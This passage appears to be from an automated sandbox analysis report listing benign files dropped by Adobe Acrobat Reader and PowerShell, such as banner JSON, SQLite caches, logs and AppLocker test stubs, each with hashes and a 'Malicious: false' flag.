Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.310928546079788
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJfQ1rPeUkwRe9:YvXKX94SQXeObsdTeOubGY16Ukee9
MD5:	1FA999A963BE4B8D63033E569D315302
SHA1:	F361AE62C3195A6801A4115C6740BCE42EE5F4DB
SHA-256:	4E198141FBE0000EC388F58697B7DFB1008F59860D925ED923ADA94A4FF21D35
SHA-512:	183D04548A0BB4C92807CB36EE36E9F9BB0C35A2F9C712C1A3137B717935B4A1A1D01DE4948CFC5FFA108CB4927C0AF41808161FE81975FAB17CCE90A10A3E3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.326315852716573
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJfFldPeUkwRe9:YvXKX94SQXeObsdTeOubGz8Ukee9
MD5:	84167B3AAEE6C76940D25F66A786AD72
SHA1:	8C4B359ADFB5C7944DEF7516B55F96A460AF5858
SHA-256:	477A385DAEB0789F088A2486E42F23D7FA68B83B5D214F0606784B692A8058AE
SHA-512:	66B1A2375F10E3DA6E5AD3383B99935558FA44446723519FDF2656A46EF35AFCB3FA2F0F757365C30F882A75A01A3442FCA7BF7515E9ECBB48A359F7A98E58D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.333682192595505
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJfzdPeUkwRe9:YvXKX94SQXeObsdTeOubGb8Ukee9
MD5:	74FDA085F309C279C14655C863CB9CFD
SHA1:	68CA19CDDC610DDF8340649A493B1AB283AD23B0
SHA-256:	5A0B6E7A6DC5D2F662E63E7A43683C6D79211624DB7867F88512EC33CDDCDB20
SHA-512:	315CE9E498909A923DF633A8945D004DED05682D2C3855C7EEB3BB83FC130D73FCC4113C5F173F15634B0911F94BC6A94DAA5CC44786FCE05C3EA5CA12806A76
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314329388679268
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJfYdPeUkwRe9:YvXKX94SQXeObsdTeOubGg8Ukee9
MD5:	0B53620AC6EFC6A360A6E02F3A2C9076
SHA1:	00E96D267299F396023883C1CD31DF59F3EB056C
SHA-256:	B833BC0E6B8246B23671938C3331BD5D91BEA4B5182B175B921CAD9B776B6553
SHA-512:	A6957E86FFCE45B0FCB83C0B40C2C1DF202552E1BAF3AE4EC2533F5535F568A45E57638C9745B0A6E07C90E99A4624729674D8129EE4868003FBD9FC58936215
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.301213393092306
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJf+dPeUkwRe9:YvXKX94SQXeObsdTeOubG28Ukee9
MD5:	F7285CAEA299EBC7456564125552C360
SHA1:	725683A9769B16440A9D543351BC56FE8DDA1941
SHA-256:	EBA97A9815DFAEC9048554153EA4479C3FA2E755BDD066BB1409D34F3809B524
SHA-512:	A3AD4C5CA164731719794073E0BBC5C6A2A2E0E3E4473A8A229F769E7CE87963DC59AF608C974C193EBFAC2215BBE1ED6929730343A58401DB717D228F14D2A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.297778002582139
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJfbPtdPeUkwRe9:YvXKX94SQXeObsdTeOubGDV8Ukee9
MD5:	6461D1C8B8DFEE88B05A26D620C2D6A2
SHA1:	D9C4CC1D3C374758C74C7F4BD3E6256ADA989DDD
SHA-256:	0DCBB0FC6B7D2F849FFF74F1A1EF29778ACBDB76A715D9A4EFF30F3CD0EF0528
SHA-512:	CDBCDC77DB6B92D3B7B756A759C4BED1431D1B95E65DE2045CC7529826D9D0FA4FFE46381A5D307FEE7EE3527CD9363BDE9D7A7F287EF29A6493A2EC6B6B855A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.302313414745366
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJf21rPeUkwRe9:YvXKX94SQXeObsdTeOubG+16Ukee9
MD5:	A6C3C0EFD773B514A279A2F7FA0E6E67
SHA1:	78516F3249EF07077ECEE5F9D3E5779DCE647AC9
SHA-256:	908FB6C577F09A3E7D0B8C45227C8231ED2F304CB57DAC6CBB4088507237680F
SHA-512:	950339E92CCD279E240FA75569FB521D4C15F2CE0190978CBBBD603AE279736861380934A57017CC61AD7853C5E33C89E3519E9CA1A61CC803CD09BE5120F938
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660818098974799
Encrypted:	false
SSDEEP:	24:Yv6X94SCjmeOu0amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSbS:Yv2enyBgkDMUJUAh8cvMW
MD5:	0696C7E928184911B4E3F58B308188C1
SHA1:	83F14261A7B58B3524F64F74862B34DB10EF65A5
SHA-256:	4C54598BD616CC235B2CC1B1B8067EB5505FCFC3BC06802030BEC1A07207854E
SHA-512:	C51B95E2CC83F36AC595CDE55955DC3DF3262487FD83CDEFEC2E00E29F9A4720BBEC1668F7DC73055EA08254B24693DF774B5341896E5265BD977DE2F7F0FBDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.277755313818178
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJfshHHrPeUkwRe9:YvXKX94SQXeObsdTeOubGUUUkee9
MD5:	DAEB29001A1578E98D39D85B52925630
SHA1:	2F1B96D8BFE75F7E76781F139459574561B1CD13
SHA-256:	0690588FD2A9DC92F4D34C8BDCDB48065A48498B3DD05BB6B6E5A332AEAC9A77
SHA-512:	CC345ECF201F737E1A112B24BA5A36CE1ED053081CA182EBBD391E01F64D7599AD53C821096E3CD8775F0B80977D921FCAAB92DEA4426D14135A436816AAF420
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.293040690154849
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJTqgFCrPeUkwRe9:YvXKX94SQXeObsdTeOubGTq16Ukee9
MD5:	E5DA90662A2D82633079D749D066DB2D
SHA1:	0B318A3A4E3724C9412F1F377C4103E02AF34052
SHA-256:	BADB91B5B1A037B3748EEDDBF09FFC9D846B24B322425AC0BE983EC163EE4DD7
SHA-512:	48E5A9238191FD5EB93940B229924667402A0F2FEFE63AB8A06F6CCC85EFBDEAB96C8A5B1E346194DDEC6539AD0803D23AC02971684A28E57407400269BE689A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142496541707614
Encrypted:	false
SSDEEP:	24:YBMralw3ayDOCqffdXjABVNArCYtMtjyOj0Sbrnd/2cq2LSlCGk5cI5/cvJbQ5UO:YBRwUFjADLywBzqjficICvJ8mk9V
MD5:	17DD4AA567EB1CE79CFB38A18ED26503
SHA1:	B582645067F33084F0447866D10C8D57FE1E507B
SHA-256:	606BB9C9DD4B2F7170E61F40362B3447DB5C9BDE56AAE70DBD76E14ECFB04E03
SHA-512:	084A9C5A5541AB50ED3CD57F59FFC73C569406875E8FCD1BBD123FD8CE6A6D33E848FA00F12AB066E529A2523767026056EF5185F9BE8AF6A610F38889ABCED2
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"36cb3069f43db99ccf6676d98c9aba63","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736574841000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c4132bd0ddc958ab05af9d1e883c1635","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736574841000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8dd39e27f401510a33c1fe207394963c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736574841000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"88f8ab060b1798ae64e7c7c1cd5e2b5a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736574841000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ae65b8181eff44ced504e57ae54dafe8","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736574841000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"654d311f6b3150e3181ea045319cf24e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4524718335685813
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsmflkD:lNVmsw3SHtbDbPe0K3+fDZdTuD
MD5:	4E89371921B9CAC480BD8E57EBBAFB32
SHA1:	F98CFE0E1048D756CA04BB610ADC2C22ECAD980A
SHA-256:	8E946678146266EC1062BED3DD3F5F43E22B95E0B5BBBAA7A26D0DC7B202580F
SHA-512:	D5ADE0B27253C63C4FBAB8FCB3AC6D08B84EE441884552A1C46FF6B9E7F6F813D6A87E536FC70CF3FDF2B2D1F4FCF5C5DE15992A2078D72451EA17CDF220B365
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9549518504098369
Encrypted:	false
SSDEEP:	48:7MarvrBd6dHtbGIbPe0K3+fDy2dsmW/qFl2GL7mss:7f3SHtbDbPe0K3+fDZdTOKVmss
MD5:	B2A889433410ACC2D471FFE1F2770BB1
SHA1:	E663F8DB06220CB31407A1EFF850D157E6D848A6
SHA-256:	4157E671331F2AD8163C870639721ABBE66CBC2214B00494DFFE0473A3AE8D6F
SHA-512:	EDA5A260411F6B7EDA5D7366133589ED0B58666776749AE25553444628FCF7DFAE745672C7FB1C9D6525E663F819B7BF30E5B50F637C28C6626B923B14885EBC
Malicious:	false
Preview:	.... .c......8.!......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgZ3Mo9NRmR1dLEGydKIpvwPU5Yyu:6a6TZ44ADEZ3MgNRqNuwP+K
MD5:	C1741F131834B2CAEB690AB11049BD1B
SHA1:	E9A8B69E0514E58F399ABF4E0E9B05AC1237D0E7
SHA-256:	ADA81E7440FAFA204181E53AE744D97095E76D75BD0DD6B7B72AE2F7E8FE365F
SHA-512:	D10D72C1349AC1BEB598E8C0699C0137C02338CABDD22FDA2ACA59596F246B3814A0B42F30F1484AE54905DD178DE7802C55637E54CD52D106BA34B0543F79D5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIb84e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClkglYH:Qw946cPbiOxDlbYnuRKd6YH
MD5:	C89383892B9AA5C1E1F9F8CD468D0E63
SHA1:	5D9DB0F88493CBE5DF2D192BCE8D5509FE33F336
SHA-256:	5303AA1B349AEAFA88B4C6D41CDE27461BFB691D5A9B140E9D492F85F2F056E1
SHA-512:	337EE287F25BC4E0730239753F8DC9CFED2676348C93E0A9916E6CCDCF29B2D1ADBC69CCF113E45CA86D50D199BAD72FB6EE613C5038F587EE163B0142FFC341
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.5.4.:.0.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dnpwiivb.nhg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e4gqs3ip.1eg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9rfi8qi_1j8w8td_5to.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-53-53-830.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.350557481618482
Encrypted:	false
